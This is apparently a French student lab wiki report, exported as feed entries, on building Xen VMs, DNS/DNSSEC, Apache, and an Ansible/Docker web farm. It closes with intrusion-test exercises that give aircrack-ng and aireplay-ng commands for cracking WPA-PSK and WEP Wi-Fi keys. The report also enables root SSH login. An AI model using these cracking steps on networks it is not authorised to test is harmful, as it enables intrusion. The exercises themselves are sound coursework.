'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Chlamydiae_balancer_result.png&amp;diff=51840</id>
		<title>Fichier:Chlamydiae balancer result.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Chlamydiae_balancer_result.png&amp;diff=51840"/>
				<updated>2019-12-16T21:20:12Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51839</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51839"/>
				<updated>2019-12-16T21:18:55Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|900px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
https://www.chlamydiae.site/balancer-manager&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
